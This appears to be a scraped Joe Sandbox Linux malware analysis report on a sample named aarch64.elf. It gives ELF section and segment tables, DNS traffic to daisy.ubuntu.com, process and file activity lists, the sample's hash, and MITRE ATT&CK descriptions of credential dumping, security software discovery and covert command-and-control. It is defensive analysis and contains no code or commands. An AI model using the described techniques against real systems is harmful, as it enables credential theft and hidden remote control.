.tbss	NOBITS	0x429f08	0x19f08	0x8	0x0	0x403	WAT	4
.init_array	INIT_ARRAY	0x429f08	0x19f08	0x8	0x8	0x3	WA	8
.fini_array	FINI_ARRAY	0x429f10	0x19f10	0x8	0x8	0x3	WA	8
.got	PROGBITS	0x429f18	0x19f18	0xd0	0x8	0x3	WA	8
.data	PROGBITS	0x42a000	0x1a000	0x428	0x0	0x3	WA	8
.bss	NOBITS	0x42a428	0x1a428	0x7e00	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x1a428	0x53	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x18d40	0x18d40	6.5947	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x19f08	0x429f08	0x429f08	0x520	0x8320	2.9111	0x6	RW	0x10000	.tbss .init_array .fini_array .got .data .bss
TLS	0x19f08	0x429f08	0x429f08	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Network Behavior

Download Network PCAP: filtered – full

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 2, 2025 11:50:27.671962023 CEST	58399	53	192.168.2.14	1.1.1.1
Apr 2, 2025 11:50:27.672024012 CEST	50870	53	192.168.2.14	1.1.1.1
Apr 2, 2025 11:50:27.769010067 CEST	53	50870	1.1.1.1	192.168.2.14
Apr 2, 2025 11:50:27.770581961 CEST	53	58399	1.1.1.1	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 2, 2025 11:50:27.671962023 CEST	192.168.2.14	1.1.1.1	0xc537	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 11:50:27.672024012 CEST	192.168.2.14	1.1.1.1	0x3ae0	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 2, 2025 11:50:27.770581961 CEST	1.1.1.1	192.168.2.14	0xc537	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Apr 2, 2025 11:50:27.770581961 CEST	1.1.1.1	192.168.2.14	0xc537	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: aarch64.elf PID: 5487, Parent PID: 5414

General

Start time (UTC):	09:50:22
Start date (UTC):	02/04/2025
Path:	/tmp/aarch64.elf
Arguments:	/tmp/aarch64.elf
File size:	5706200 bytes
MD5 hash:	02e8e39e1b46472a60d128a6da84a2b8

File Activities

File Opened

File Deleted

File Read

File Written

File Moved

Directory Enumerated

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: aarch64.elf PID: 5491, Parent PID: 5487

General

Start time (UTC):	09:50:24
Start date (UTC):	02/04/2025
Path:	/tmp/aarch64.elf
Arguments:	-
File size:	5706200 bytes
MD5 hash:	02e8e39e1b46472a60d128a6da84a2b8

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report aarch64.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.KEPP14 (deleted)

/tmp/qemu-open.Orpdk6 (deleted)

/tmp/qemu-open.dDEK47 (deleted)

/tmp/qemu-open.vjxbG4 (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: aarch64.elf PID: 5487, Parent PID: 5414

General

File Activities

File Opened

File Deleted

File Read

File Written

File Moved

Directory Enumerated

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Linux Analysis Report
aarch64.elf